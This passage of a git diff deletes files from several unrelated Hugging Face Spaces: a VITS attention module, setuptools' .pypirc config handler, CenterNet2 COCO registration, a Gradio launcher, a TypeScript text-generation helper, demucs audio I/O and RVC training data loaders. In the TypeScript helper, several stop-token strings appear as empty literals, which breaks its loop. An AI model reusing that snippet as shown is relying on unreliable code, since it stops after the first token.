slice_start_position + 2 * length - 1 - if pad_length > 0: - padded_relative_embeddings = F.pad( - relative_embeddings, - commons.convert_pad_shape([[0, 0], [pad_length, pad_length], [0, 0]])) - else: - padded_relative_embeddings = relative_embeddings - used_relative_embeddings = padded_relative_embeddings[:, slice_start_position:slice_end_position] - return used_relative_embeddings - - def _relative_position_to_absolute_position(self, x): - """ - x: [b, h, l, 2*l-1] - ret: [b, h, l, l] - """ - batch, heads, length, _ = x.size() - # Concat columns of pad to shift from relative to absolute indexing. - x = F.pad(x, commons.convert_pad_shape([[0, 0], [0, 0], [0, 0], [0, 1]])) - - # Concat extra elements so to add up to shape (len+1, 2*len-1). - x_flat = x.view([batch, heads, length * 2 * length]) - x_flat = F.pad(x_flat, commons.convert_pad_shape([[0, 0], [0, 0], [0, length - 1]])) - - # Reshape and slice out the padded elements. - x_final = x_flat.view([batch, heads, length + 1, 2 * length - 1])[:, :, :length, length - 1:] - return x_final - - def _absolute_position_to_relative_position(self, x): - """ - x: [b, h, l, l] - ret: [b, h, l, 2*l-1] - """ - batch, heads, length, _ = x.size() - # padd along column - x = F.pad(x, commons.convert_pad_shape([[0, 0], [0, 0], [0, 0], [0, length - 1]])) - x_flat = x.view([batch, heads, length ** 2 + length * (length - 1)]) - # add 0's in the beginning that will skew the elements after reshape - x_flat = F.pad(x_flat, commons.convert_pad_shape([[0, 0], [0, 0], [length, 0]])) - x_final = x_flat.view([batch, heads, length, 2 * length])[:, :, :, 1:] - return x_final - - def _attention_bias_proximal(self, length): - """Bias for self-attention to encourage attention to close positions. - Args: - length: an integer scalar. - Returns: - a Tensor with shape [1, 1, length, length] - """ - r = torch.arange(length, dtype=torch.float32) - diff = torch.unsqueeze(r, 0) - torch.unsqueeze(r, 1) - return torch.unsqueeze(torch.unsqueeze(-torch.log1p(torch.abs(diff)), 0), 0) - - -class FFN(nn.Module): - def __init__(self, in_channels, out_channels, filter_channels, kernel_size, p_dropout=0., activation=None, - causal=False): - super().__init__() - self.in_channels = in_channels - self.out_channels = out_channels - self.filter_channels = filter_channels - self.kernel_size = kernel_size - self.p_dropout = p_dropout - self.activation = activation - self.causal = causal - - if causal: - self.padding = self._causal_padding - else: - self.padding = self._same_padding - - self.conv_1 = nn.Conv1d(in_channels, filter_channels, kernel_size) - self.conv_2 = nn.Conv1d(filter_channels, out_channels, kernel_size) - self.drop = nn.Dropout(p_dropout) - - def forward(self, x, x_mask): - x = self.conv_1(self.padding(x * x_mask)) - if self.activation == "gelu": - x = x * torch.sigmoid(1.702 * x) - else: - x = torch.relu(x) - x = self.drop(x) - x = self.conv_2(self.padding(x * x_mask)) - return x * x_mask - - def _causal_padding(self, x): - if self.kernel_size == 1: - return x - pad_l = self.kernel_size - 1 - pad_r = 0 - padding = [[0, 0], [0, 0], [pad_l, pad_r]] - x = F.pad(x, commons.convert_pad_shape(padding)) - return x - - def _same_padding(self, x): - if self.kernel_size == 1: - return x - pad_l = (self.kernel_size - 1) // 2 - pad_r = self.kernel_size // 2 - padding = [[0, 0], [0, 0], [pad_l, pad_r]] - x = F.pad(x, commons.convert_pad_shape(padding)) - return x diff --git a/spaces/Ataturk-Chatbot/HuggingFaceChat/venv/lib/python3.11/site-packages/setuptools/_distutils/config.py b/spaces/Ataturk-Chatbot/HuggingFaceChat/venv/lib/python3.11/site-packages/setuptools/_distutils/config.py deleted file mode 100644 index 6e0c3a71f10cf216aaa19053564159353e47e66a..0000000000000000000000000000000000000000 --- a/spaces/Ataturk-Chatbot/HuggingFaceChat/venv/lib/python3.11/site-packages/setuptools/_distutils/config.py +++ /dev/null @@ -1,139 +0,0 @@ -"""distutils.pypirc - -Provides the PyPIRCCommand class, the base class for the command classes -that uses .pypirc in the distutils.command package. -""" -import os -from configparser import RawConfigParser - -from distutils.cmd import Command - -DEFAULT_PYPIRC = """\ -[distutils] -index-servers = - pypi - -[pypi] -username:%s -password:%s -""" - - -class PyPIRCCommand(Command): - """Base command that knows how to handle the .pypirc file""" - - DEFAULT_REPOSITORY = 'https://upload.pypi.org/legacy/' - DEFAULT_REALM = 'pypi' - repository = None - realm = None - - user_options = [ - ('repository=', 'r', "url of repository [default: %s]" % DEFAULT_REPOSITORY), - ('show-response', None, 'display full response text from server'), - ] - - boolean_options = ['show-response'] - - def _get_rc_file(self): - """Returns rc file path.""" - return os.path.join(os.path.expanduser('~'), '.pypirc') - - def _store_pypirc(self, username, password): - """Creates a default .pypirc file.""" - rc = self._get_rc_file() - with os.fdopen(os.open(rc, os.O_CREAT | os.O_WRONLY, 0o600), 'w') as f: - f.write(DEFAULT_PYPIRC % (username, password)) - - def _read_pypirc(self): # noqa: C901 - """Reads the .pypirc file.""" - rc = self._get_rc_file() - if os.path.exists(rc): - self.announce('Using PyPI login from %s' % rc) - repository = self.repository or self.DEFAULT_REPOSITORY - - config = RawConfigParser() - config.read(rc) - sections = config.sections() - if 'distutils' in sections: - # let's get the list of servers - index_servers = config.get('distutils', 'index-servers') - _servers = [ - server.strip() - for server in index_servers.split('\n') - if server.strip() != '' - ] - if _servers == []: - # nothing set, let's try to get the default pypi - if 'pypi' in sections: - _servers = ['pypi'] - else: - # the file is not properly defined, returning - # an empty dict - return {} - for server in _servers: - current = {'server': server} - current['username'] = config.get(server, 'username') - - # optional params - for key, default in ( - ('repository', self.DEFAULT_REPOSITORY), - ('realm', self.DEFAULT_REALM), - ('password', None), - ): - if config.has_option(server, key): - current[key] = config.get(server, key) - else: - current[key] = default - - # work around people having "repository" for the "pypi" - # section of their config set to the HTTP (rather than - # HTTPS) URL - if server == 'pypi' and repository in ( - self.DEFAULT_REPOSITORY, - 'pypi', - ): - current['repository'] = self.DEFAULT_REPOSITORY - return current - - if ( - current['server'] == repository - or current['repository'] == repository - ): - return current - elif 'server-login' in sections: - # old format - server = 'server-login' - if config.has_option(server, 'repository'): - repository = config.get(server, 'repository') - else: - repository = self.DEFAULT_REPOSITORY - return { - 'username': config.get(server, 'username'), - 'password': config.get(server, 'password'), - 'repository': repository, - 'server': server, - 'realm': self.DEFAULT_REALM, - } - - return {} - - def _read_pypi_response(self, response): - """Read and decode a PyPI HTTP response.""" - import cgi - - content_type = response.getheader('content-type', 'text/plain') - encoding = cgi.parse_header(content_type)[1].get('charset', 'ascii') - return response.read().decode(encoding) - - def initialize_options(self): - """Initialize options.""" - self.repository = None - self.realm = None - self.show_response = 0 - - def finalize_options(self): - """Finalizes options.""" - if self.repository is None: - self.repository = self.DEFAULT_REPOSITORY - if self.realm is None: - self.realm = self.DEFAULT_REALM diff --git a/spaces/Awiny/Image2Paragraph/models/grit_src/third_party/CenterNet2/projects/CenterNet2/centernet/data/datasets/coco.py b/spaces/Awiny/Image2Paragraph/models/grit_src/third_party/CenterNet2/projects/CenterNet2/centernet/data/datasets/coco.py deleted file mode 100644 index f8496aacf2eda691e55a8fabfc0f5db496dcc186..0000000000000000000000000000000000000000 --- a/spaces/Awiny/Image2Paragraph/models/grit_src/third_party/CenterNet2/projects/CenterNet2/centernet/data/datasets/coco.py +++ /dev/null @@ -1,49 +0,0 @@ -import os - -from detectron2.data.datasets.register_coco import register_coco_instances -from detectron2.data.datasets.coco import load_coco_json -from detectron2.data.datasets.builtin_meta import _get_builtin_metadata -from detectron2.data import DatasetCatalog, MetadataCatalog - - -def register_distill_coco_instances(name, metadata, json_file, image_root): - """ - add extra_annotation_keys - """ - assert isinstance(name, str), name - assert isinstance(json_file, (str, os.PathLike)), json_file - assert isinstance(image_root, (str, os.PathLike)), image_root - # 1. register a function which returns dicts - DatasetCatalog.register(name, lambda: load_coco_json( - json_file, image_root, name, extra_annotation_keys=['score'])) - - # 2. Optionally, add metadata about this dataset, - # since they might be useful in evaluation, visualization or logging - MetadataCatalog.get(name).set( - json_file=json_file, image_root=image_root, evaluator_type="coco", **metadata - ) - - -_PREDEFINED_SPLITS_COCO = { - "coco_2017_unlabeled": ("coco/unlabeled2017", "coco/annotations/image_info_unlabeled2017.json"), -} - -for key, (image_root, json_file) in _PREDEFINED_SPLITS_COCO.items(): - register_coco_instances( - key, - _get_builtin_metadata('coco'), - os.path.join("datasets", json_file) if "://" not in json_file else json_file, - os.path.join("datasets", image_root), - ) - -_PREDEFINED_SPLITS_DISTILL_COCO = { - "coco_un_yolov4_55_0.5": ("coco/unlabeled2017", "coco/annotations/yolov4_cocounlabeled_55_ann0.5.json"), -} - -for key, (image_root, json_file) in _PREDEFINED_SPLITS_DISTILL_COCO.items(): - register_distill_coco_instances( - key, - _get_builtin_metadata('coco'), - os.path.join("datasets", json_file) if "://" not in json_file else json_file, - os.path.join("datasets", image_root), - ) \ No newline at end of file diff --git a/spaces/BHD/google-pix2struct-screen2words-base/app.py b/spaces/BHD/google-pix2struct-screen2words-base/app.py deleted file mode 100644 index e8701943f4443c7d632c0084ba1e4fb99fd5ca6c..0000000000000000000000000000000000000000 --- a/spaces/BHD/google-pix2struct-screen2words-base/app.py +++ /dev/null @@ -1,3 +0,0 @@ -import gradio as gr - -gr.Interface.load("models/google/pix2struct-screen2words-base").launch() \ No newline at end of file diff --git a/spaces/Banbri/zcvzcv/src/app/queries/predictWithHuggingFace.ts b/spaces/Banbri/zcvzcv/src/app/queries/predictWithHuggingFace.ts deleted file mode 100644 index 60f9b7908f9659dbc44836116f328d74d97343b8..0000000000000000000000000000000000000000 --- a/spaces/Banbri/zcvzcv/src/app/queries/predictWithHuggingFace.ts +++ /dev/null @@ -1,95 +0,0 @@ -"use server" - -import { HfInference, HfInferenceEndpoint } from "@huggingface/inference" -import { LLMEngine } from "@/types" - -export async function predict(inputs: string): Promise { - const hf = new HfInference(process.env.AUTH_HF_API_TOKEN) - - const llmEngine = `${process.env.LLM_ENGINE || ""}` as LLMEngine - const inferenceEndpoint = `${process.env.LLM_HF_INFERENCE_ENDPOINT_URL || ""}` - const inferenceModel = `${process.env.LLM_HF_INFERENCE_API_MODEL || ""}` - - let hfie: HfInferenceEndpoint = hf - - switch (llmEngine) { - case "INFERENCE_ENDPOINT": - if (inferenceEndpoint) { - // console.log("Using a custom HF Inference Endpoint") - hfie = hf.endpoint(inferenceEndpoint) - } else { - const error = "No Inference Endpoint URL defined" - console.error(error) - throw new Error(error) - } - break; - - case "INFERENCE_API": - if (inferenceModel) { - // console.log("Using an HF Inference API Model") - } else { - const error = "No Inference API model defined" - console.error(error) - throw new Error(error) - } - break; - - default: - const error = "Please check your Hugging Face Inference API or Inference Endpoint settings" - console.error(error) - throw new Error(error) - } - - const api = llmEngine === "INFERENCE_ENDPOINT" ? hfie : hf - - let instructions = "" - try { - for await (const output of api.textGenerationStream({ - model: llmEngine === "INFERENCE_ENDPOINT" ? undefined : (inferenceModel || undefined), - inputs, - parameters: { - do_sample: true, - // we don't require a lot of token for our task - // but to be safe, let's count ~110 tokens per panel - max_new_tokens: 450, // 1150, - return_full_text: false, - } - })) { - instructions += output.token.text - process.stdout.write(output.token.text) - if ( - instructions.includes("") || - instructions.includes("") || - instructions.includes("[INST]") || - instructions.includes("[/INST]") || - instructions.includes("") || - instructions.includes("") || - instructions.includes("<|end|>") || - instructions.includes("<|assistant|>") - ) { - break - } - } - } catch (err) { - console.error(`error during generation: ${err}`) - - // a common issue with Llama-2 might be that the model receives too many requests - if (`${err}` === "Error: Model is overloaded") { - instructions = `` - } - } - - // need to do some cleanup of the garbage the LLM might have gave us - return ( - instructions - .replaceAll("<|end|>", "") - .replaceAll("", "") - .replaceAll("", "") - .replaceAll("[INST]", "") - .replaceAll("[/INST]", "") - .replaceAll("", "") - .replaceAll("", "") - .replaceAll("<|assistant|>", "") - .replaceAll('""', '"') - ) -} diff --git a/spaces/Bart92/RVC_HF/demucs/audio.py b/spaces/Bart92/RVC_HF/demucs/audio.py deleted file mode 100644 index b29f156e4afb5fbda32c35777022caeadf50d711..0000000000000000000000000000000000000000 --- a/spaces/Bart92/RVC_HF/demucs/audio.py +++ /dev/null @@ -1,172 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -# All rights reserved. -# -# This source code is licensed under the license found in the -# LICENSE file in the root directory of this source tree. -import json -import subprocess as sp -from pathlib import Path - -import julius -import numpy as np -import torch - -from .utils import temp_filenames - - -def _read_info(path): - stdout_data = sp.check_output([ - 'ffprobe', "-loglevel", "panic", - str(path), '-print_format', 'json', '-show_format', '-show_streams' - ]) - return json.loads(stdout_data.decode('utf-8')) - - -class AudioFile: - """ - Allows to read audio from any format supported by ffmpeg, as well as resampling or - converting to mono on the fly. See :method:`read` for more details. - """ - def __init__(self, path: Path): - self.path = Path(path) - self._info = None - - def __repr__(self): - features = [("path", self.path)] - features.append(("samplerate", self.samplerate())) - features.append(("channels", self.channels())) - features.append(("streams", len(self))) - features_str = ", ".join(f"{name}={value}" for name, value in features) - return f"AudioFile({features_str})" - - @property - def info(self): - if self._info is None: - self._info = _read_info(self.path) - return self._info - - @property - def duration(self): - return float(self.info['format']['duration']) - - @property - def _audio_streams(self): - return [ - index for index, stream in enumerate(self.info["streams"]) - if stream["codec_type"] == "audio" - ] - - def __len__(self): - return len(self._audio_streams) - - def channels(self, stream=0): - return int(self.info['streams'][self._audio_streams[stream]]['channels']) - - def samplerate(self, stream=0): - return int(self.info['streams'][self._audio_streams[stream]]['sample_rate']) - - def read(self, - seek_time=None, - duration=None, - streams=slice(None), - samplerate=None, - channels=None, - temp_folder=None): - """ - Slightly more efficient implementation than stempeg, - in particular, this will extract all stems at once - rather than having to loop over one file multiple times - for each stream. - - Args: - seek_time (float): seek time in seconds or None if no seeking is needed. - duration (float): duration in seconds to extract or None to extract until the end. - streams (slice, int or list): streams to extract, can be a single int, a list or - a slice. If it is a slice or list, the output will be of size [S, C, T] - with S the number of streams, C the number of channels and T the number of samples. - If it is an int, the output will be [C, T]. - samplerate (int): if provided, will resample on the fly. If None, no resampling will - be done. Original sampling rate can be obtained with :method:`samplerate`. - channels (int): if 1, will convert to mono. We do not rely on ffmpeg for that - as ffmpeg automatically scale by +3dB to conserve volume when playing on speakers. - See https://sound.stackexchange.com/a/42710. - Our definition of mono is simply the average of the two channels. Any other - value will be ignored. - temp_folder (str or Path or None): temporary folder to use for decoding. - - - """ - streams = np.array(range(len(self)))[streams] - single = not isinstance(streams, np.ndarray) - if single: - streams = [streams] - - if duration is None: - target_size = None - query_duration = None - else: - target_size = int((samplerate or self.samplerate()) * duration) - query_duration = float((target_size + 1) / (samplerate or self.samplerate())) - - with temp_filenames(len(streams)) as filenames: - command = ['ffmpeg', '-y'] - command += ['-loglevel', 'panic'] - if seek_time: - command += ['-ss', str(seek_time)] - command += ['-i', str(self.path)] - for stream, filename in zip(streams, filenames): - command += ['-map', f'0:{self._audio_streams[stream]}'] - if query_duration is not None: - command += ['-t', str(query_duration)] - command += ['-threads', '1'] - command += ['-f', 'f32le'] - if samplerate is not None: - command += ['-ar', str(samplerate)] - command += [filename] - - sp.run(command, check=True) - wavs = [] - for filename in filenames: - wav = np.fromfile(filename, dtype=np.float32) - wav = torch.from_numpy(wav) - wav = wav.view(-1, self.channels()).t() - if channels is not None: - wav = convert_audio_channels(wav, channels) - if target_size is not None: - wav = wav[..., :target_size] - wavs.append(wav) - wav = torch.stack(wavs, dim=0) - if single: - wav = wav[0] - return wav - - -def convert_audio_channels(wav, channels=2): - """Convert audio to the given number of channels.""" - *shape, src_channels, length = wav.shape - if src_channels == channels: - pass - elif channels == 1: - # Case 1: - # The caller asked 1-channel audio, but the stream have multiple - # channels, downmix all channels. - wav = wav.mean(dim=-2, keepdim=True) - elif src_channels == 1: - # Case 2: - # The caller asked for multiple channels, but the input file have - # one single channel, replicate the audio over all channels. - wav = wav.expand(*shape, channels, length) - elif src_channels >= channels: - # Case 3: - # The caller asked for multiple channels, and the input file have - # more channels than requested. In that case return the first channels. - wav = wav[..., :channels, :] - else: - # Case 4: What is a reasonable choice here? - raise ValueError('The audio file has less channels than requested but is not mono.') - return wav - - -def convert_audio(wav, from_samplerate, to_samplerate, channels): - wav = convert_audio_channels(wav, channels) - return julius.resample_frac(wav, from_samplerate, to_samplerate) diff --git a/spaces/Bart92/RVC_HF/infer/lib/train/data_utils.py b/spaces/Bart92/RVC_HF/infer/lib/train/data_utils.py deleted file mode 100644 index 51a176cceba860acf79157ed0bad2b82c8e80406..0000000000000000000000000000000000000000 --- a/spaces/Bart92/RVC_HF/infer/lib/train/data_utils.py +++ /dev/null @@ -1,517 +0,0 @@ -import os -import traceback -import logging - -logger = logging.getLogger(__name__) - -import numpy as np -import torch -import torch.utils.data - -from infer.lib.train.mel_processing import spectrogram_torch -from infer.lib.train.utils import load_filepaths_and_text, load_wav_to_torch - - -class TextAudioLoaderMultiNSFsid(torch.utils.data.Dataset): - """ - 1) loads audio, text pairs - 2) normalizes text and converts them to sequences of integers - 3) computes spectrograms from audio files. - """ - - def __init__(self, audiopaths_and_text, hparams): - self.audiopaths_and_text = load_filepaths_and_text(audiopaths_and_text) - self.max_wav_value = hparams.max_wav_value - self.sampling_rate = hparams.sampling_rate - self.filter_length = hparams.filter_length - self.hop_length = hparams.hop_length - self.win_length = hparams.win_length - self.sampling_rate = hparams.sampling_rate - self.min_text_len = getattr(hparams, "min_text_len", 1) - self.max_text_len = getattr(hparams, "max_text_len", 5000) - self._filter() - - def _filter(self): - """ - Filter text & store spec lengths - """ - # Store spectrogram lengths for Bucketing - # wav_length ~= file_size / (wav_channels * Bytes per dim) = file_size / (1 * 2) - # spec_length = wav_length // hop_length - audiopaths_and_text_new = [] - lengths = [] - for audiopath, text, pitch, pitchf, dv in self.audiopaths_and_text: - if self.min_text_len <= len(text) and len(text) <= self.max_text_len: - audiopaths_and_text_new.append([audiopath, text, pitch, pitchf, dv]) - lengths.append(os.path.getsize(audiopath) // (3 * self.hop_length)) - self.audiopaths_and_text = audiopaths_and_text_new - self.lengths = lengths - - def get_sid(self, sid): - sid = torch.LongTensor([int(sid)]) - return sid - - def get_audio_text_pair(self, audiopath_and_text): - # separate filename and text - file = audiopath_and_text[0] - phone = audiopath_and_text[1] - pitch = audiopath_and_text[2] - pitchf = audiopath_and_text[3] - dv = audiopath_and_text[4] - - phone, pitch, pitchf = self.get_labels(phone, pitch, pitchf) - spec, wav = self.get_audio(file) - dv = self.get_sid(dv) - - len_phone = phone.size()[0] - len_spec = spec.size()[-1] - # print(123,phone.shape,pitch.shape,spec.shape) - if len_phone != len_spec: - len_min = min(len_phone, len_spec) - # amor - len_wav = len_min * self.hop_length - - spec = spec[:, :len_min] - wav = wav[:, :len_wav] - - phone = phone[:len_min, :] - pitch = pitch[:len_min] - pitchf = pitchf[:len_min] - - return (spec, wav, phone, pitch, pitchf, dv) - - def get_labels(self, phone, pitch, pitchf): - phone = np.load(phone) - phone = np.repeat(phone, 2, axis=0) - pitch = np.load(pitch) - pitchf = np.load(pitchf) - n_num = min(phone.shape[0], 900) # DistributedBucketSampler - # print(234,phone.shape,pitch.shape) - phone = phone[:n_num, :] - pitch = pitch[:n_num] - pitchf = pitchf[:n_num] - phone = torch.FloatTensor(phone) - pitch = torch.LongTensor(pitch) - pitchf = torch.FloatTensor(pitchf) - return phone, pitch, pitchf - - def get_audio(self, filename): - audio, sampling_rate = load_wav_to_torch(filename) - if sampling_rate != self.sampling_rate: - raise ValueError( - "{} SR doesn't match target {} SR".format( - sampling_rate, self.sampling_rate - ) - ) - audio_norm = audio - # audio_norm = audio / self.max_wav_value - # audio_norm = audio / np.abs(audio).max() - - audio_norm = audio_norm.unsqueeze(0) - spec_filename = filename.replace(".wav", ".spec.pt") - if os.path.exists(spec_filename): - try: - spec = torch.load(spec_filename) - except: - logger.warn("%s %s", spec_filename, traceback.format_exc()) - spec = spectrogram_torch( - audio_norm, - self.filter_length, - self.sampling_rate, - self.hop_length, - self.win_length, - center=False, - ) - spec = torch.squeeze(spec, 0) - torch.save(spec, spec_filename, _use_new_zipfile_serialization=False) - else: - spec = spectrogram_torch( - audio_norm, - self.filter_length, - self.sampling_rate, - self.hop_length, - self.win_length, - center=False, - ) - spec = torch.squeeze(spec, 0) - torch.save(spec, spec_filename, _use_new_zipfile_serialization=False) - return spec, audio_norm - - def __getitem__(self, index): - return self.get_audio_text_pair(self.audiopaths_and_text[index]) - - def __len__(self): - return len(self.audiopaths_and_text) - - -class TextAudioCollateMultiNSFsid: - """Zero-pads model inputs and targets""" - - def __init__(self, return_ids=False): - self.return_ids = return_ids - - def __call__(self, batch): - """Collate's training batch from normalized text and aduio - PARAMS - ------ - batch: [text_normalized, spec_normalized, wav_normalized] - """ - # Right zero-pad all one-hot text sequences to max input length - _, ids_sorted_decreasing = torch.sort( - torch.LongTensor([x[0].size(1) for x in batch]), dim=0, descending=True - ) - - max_spec_len = max([x[0].size(1) for x in batch]) - max_wave_len = max([x[1].size(1) for x in batch]) - spec_lengths = torch.LongTensor(len(batch)) - wave_lengths = torch.LongTensor(len(batch)) - spec_padded = torch.FloatTensor(len(batch), batch[0][0].size(0), max_spec_len) - wave_padded = torch.FloatTensor(len(batch), 1, max_wave_len) - spec_padded.zero_() - wave_padded.zero_() - - max_phone_len = max([x[2].size(0) for x in batch]) - phone_lengths = torch.LongTensor(len(batch)) - phone_padded = torch.FloatTensor( - len(batch), max_phone_len, batch[0][2].shape[1] - ) # (spec, wav, phone, pitch) - pitch_padded = torch.LongTensor(len(batch), max_phone_len) - pitchf_padded = torch.FloatTensor(len(batch), max_phone_len) - phone_padded.zero_() - pitch_padded.zero_() - pitchf_padded.zero_() - # dv = torch.FloatTensor(len(batch), 256)#gin=256 - sid = torch.LongTensor(len(batch)) - - for i in range(len(ids_sorted_decreasing)): - row = batch[ids_sorted_decreasing[i]] - - spec = row[0] - spec_padded[i, :, : spec.size(1)] = spec - spec_lengths[i] = spec.size(1) - - wave = row[1] - wave_padded[i, :, : wave.size(1)] = wave - wave_lengths[i] = wave.size(1) - - phone = row[2] - phone_padded[i, : phone.size(0), :] = phone - phone_lengths[i] = phone.size(0) - - pitch = row[3] - pitch_padded[i, : pitch.size(0)] = pitch - pitchf = row[4] - pitchf_padded[i, : pitchf.size(0)] = pitchf - - # dv[i] = row[5] - sid[i] = row[5] - - return ( - phone_padded, - phone_lengths, - pitch_padded, - pitchf_padded, - spec_padded, - spec_lengths, - wave_padded, - wave_lengths, - # dv - sid, - ) - - -class TextAudioLoader(torch.utils.data.Dataset): - """ - 1) loads audio, text pairs - 2) normalizes text and converts them to sequences of integers - 3) computes spectrograms from audio files. - """ - - def __init__(self, audiopaths_and_text, hparams): - self.audiopaths_and_text = load_filepaths_and_text(audiopaths_and_text) - self.max_wav_value = hparams.max_wav_value - self.sampling_rate = hparams.sampling_rate - self.filter_length = hparams.filter_length - self.hop_length = hparams.hop_length - self.win_length = hparams.win_length - self.sampling_rate = hparams.sampling_rate - self.min_text_len = getattr(hparams, "min_text_len", 1) - self.max_text_len = getattr(hparams, "max_text_len", 5000) - self._filter() - - def _filter(self): - """ - Filter text & store spec lengths - """ - # Store spectrogram lengths for Bucketing - # wav_length ~= file_size / (wav_channels * Bytes per dim) = file_size / (1 * 2) - # spec_length = wav_length // hop_length - audiopaths_and_text_new = [] - lengths = [] - for audiopath, text, dv in self.audiopaths_and_text: - if self.min_text_len <= len(text) and len(text) <= self.max_text_len: - audiopaths_and_text_new.append([audiopath, text, dv]) - lengths.append(os.path.getsize(audiopath) // (3 * self.hop_length)) - self.audiopaths_and_text = audiopaths_and_text_new - self.lengths = lengths - - def get_sid(self, sid): - sid = torch.LongTensor([int(sid)]) - return sid - - def get_audio_text_pair(self, audiopath_and_text): - # separate filename and text - file = audiopath_and_text[0] - phone = audiopath_and_text[1] - dv = audiopath_and_text[2] - - phone = self.get_labels(phone) - spec, wav = self.get_audio(file) - dv = self.get_sid(dv) - - len_phone = phone.size()[0] - len_spec = spec.size()[-1] - if len_phone != len_spec: - len_min = min(len_phone, len_spec) - len_wav = len_min * self.hop_length - spec = spec[:, :len_min] - wav = wav[:, :len_wav] - phone = phone[:len_min, :] - return (spec, wav, phone, dv) - - def get_labels(self, phone): - phone = np.load(phone) - phone = np.repeat(phone, 2, axis=0) - n_num = min(phone.shape[0], 900) # DistributedBucketSampler - phone = phone[:n_num, :] - phone = torch.FloatTensor(phone) - return phone - - def get_audio(self, filename): - audio, sampling_rate = load_wav_to_torch(filename) - if sampling_rate != self.sampling_rate: - raise ValueError( - "{} SR doesn't match target {} SR".format( - sampling_rate, self.sampling_rate - ) - ) - audio_norm = audio - # audio_norm = audio / self.max_wav_value - # audio_norm = audio / np.abs(audio).max() - - audio_norm = audio_norm.unsqueeze(0) - spec_filename = filename.replace(".wav", ".spec.pt") - if os.path.exists(spec_filename): - try: - spec = torch.load(spec_filename) - except: - logger.warn("%s %s", spec_filename, traceback.format_exc()) - spec = spectrogram_torch( - audio_norm, - self.filter_length, - self.sampling_rate, - self.hop_length, - self.win_length, - center=False, - ) - spec = torch.squeeze(spec, 0) - torch.save(spec, spec_filename, _use_new_zipfile_serialization=False) - else: - spec = spectrogram_torch( - audio_norm, - self.filter_length, - self.sampling_rate, - self.hop_length, - self.win_length, - center=False, - ) - spec = torch.squeeze(spec, 0) - torch.save(spec, spec_filename, _use_new_zipfile_serialization=False) - return spec, audio_norm - - def __getitem__(self, index): - return self.get_audio_text_pair(self.audiopaths_and_text[index]) - - def __len__(self): - return len(self.audiopaths_and_text) - - -class TextAudioCollate: - """Zero-pads model inputs and targets""" - - def __init__(self, return_ids=False): - self.return_ids = return_ids - - def __call__(self, batch): - """Collate's training batch from normalized text and aduio - PARAMS - ------ - batch: [text_normalized, spec_normalized, wav_normalized] - """ - # Right zero-pad all one-hot text sequences to max input length - _, ids_sorted_decreasing = torch.sort( - torch.LongTensor([x[0].size(1) for x in batch]), dim=0, descending=True - ) - - max_spec_len = max([x[0].size(1) for x in batch]) - max_wave_len = max([x[1].size(1) for x in batch]) - spec_lengths = torch.LongTensor(len(batch)) - wave_lengths = torch.LongTensor(len(batch)) - spec_padded = torch.FloatTensor(len(batch), batch[0][0].size(0), max_spec_len) - wave_padded = torch.FloatTensor(len(batch), 1, max_wave_len) - spec_padded.zero_() - wave_padded.zero_() - - max_phone_len = max([x[2].size(0) for x in batch]) - phone_lengths = torch.LongTensor(len(batch)) - phone_padded = torch.FloatTensor( - len(batch), max_phone_len, batch[0][2].shape[1] - ) - phone_padded.zero_() - sid = torch.LongTensor(len(batch)) - - for i in range(len(ids_sorted_decreasing)): - row = batch[ids_sorted_decreasing[i]] - - spec = row[0] - spec_padded[i, :, : spec.size(1)] = spec - spec_lengths[i] = spec.size(1) - - wave = row[1] - wave_padded[i, :, : wave.size(1)] = wave - wave_lengths[i] = wave.size(1) - - phone = row[2] - phone_padded[i, : phone.size(0), :] = phone - phone_lengths[i] = phone.size(0) - - sid[i] = row[3] - - return ( - phone_padded, - phone_lengths, - spec_padded, - spec_lengths, - wave_padded, - wave_lengths, - sid, - ) - - -class DistributedBucketSampler(torch.utils.data.distributed.DistributedSampler): - """ - Maintain similar input lengths in a batch. - Length groups are specified by boundaries. - Ex) boundaries = [b1, b2, b3] -> any batch is included either {x | b1 < length(x) <=b2} or {x | b2 < length(x) <= b3}. - - It removes samples which are not included in the boundaries. - Ex) boundaries = [b1, b2, b3] -> any x s.t. length(x) <= b1 or length(x) > b3 are discarded. - """ - - def __init__( - self, - dataset, - batch_size, - boundaries, - num_replicas=None, - rank=None, - shuffle=True, - ): - super().__init__(dataset, num_replicas=num_replicas, rank=rank, shuffle=shuffle) - self.lengths = dataset.lengths - self.batch_size = batch_size - self.boundaries = boundaries - - self.buckets, self.num_samples_per_bucket = self._create_buckets() - self.total_size = sum(self.num_samples_per_bucket) - self.num_samples = self.total_size // self.num_replicas - - def _create_buckets(self): - buckets = [[] for _ in range(len(self.boundaries) - 1)] - for i in range(len(self.lengths)): - length = self.lengths[i] - idx_bucket = self._bisect(length) - if idx_bucket != -1: - buckets[idx_bucket].append(i) - - for i in range(len(buckets) - 1, -1, -1): # - if len(buckets[i]) == 0: - buckets.pop(i) - self.boundaries.pop(i + 1) - - num_samples_per_bucket = [] - for i in range(len(buckets)): - len_bucket = len(buckets[i]) - total_batch_size = self.num_replicas * self.batch_size - rem = ( - total_batch_size - (len_bucket % total_batch_size) - ) % total_batch_size - num_samples_per_bucket.append(len_bucket + rem) - return buckets, num_samples_per_bucket - - def __iter__(self): - # deterministically shuffle based on epoch - g = torch.Generator() - g.manual_seed(self.epoch) - - indices = [] - if self.shuffle: - for bucket in self.buckets: - indices.append(torch.randperm(len(bucket), generator=g).tolist()) - else: - for bucket in self.buckets: - indices.append(list(range(len(bucket)))) - - batches = [] - for i in range(len(self.buckets)): - bucket = self.buckets[i] - len_bucket = len(bucket) - ids_bucket = indices[i] - num_samples_bucket = self.num_samples_per_bucket[i] - - # add extra samples to make it evenly divisible - rem = num_samples_bucket - len_bucket - ids_bucket = ( - ids_bucket - + ids_bucket * (rem // len_bucket) - + ids_bucket[: (rem % len_bucket)] - ) - - # subsample - ids_bucket = ids_bucket[self.rank :: self.num_replicas] - - # batching - for j in range(len(ids_bucket) // self.batch_size): - batch = [ - bucket[idx] - for idx in ids_bucket[ - j * self.batch_size : (j + 1) * self.batch_size - ] - ] - batches.append(batch) - - if self.shuffle: - batch_ids = torch.randperm(len(batches), generator=g).tolist() - batches = [batches[i] for i in batch_ids] - self.batches = batches - - assert len(self.batches) * self.batch_size == self.num_samples - return iter(self.batches) - - def _bisect(self, x, lo=0, hi=None): - if hi is None: - hi = len(self.boundaries) - 1 - - if hi > lo: - mid = (hi + lo) // 2 - if self.boundaries[mid] < x and x <= self.boundaries[mid + 1]: - return mid - elif x <= self.boundaries[mid]: - return self._bisect(x, lo, mid) - else: - return self._bisect(x, mid + 1, hi) - else: - return -1 - - def __len__(self): - return self.num_samples // 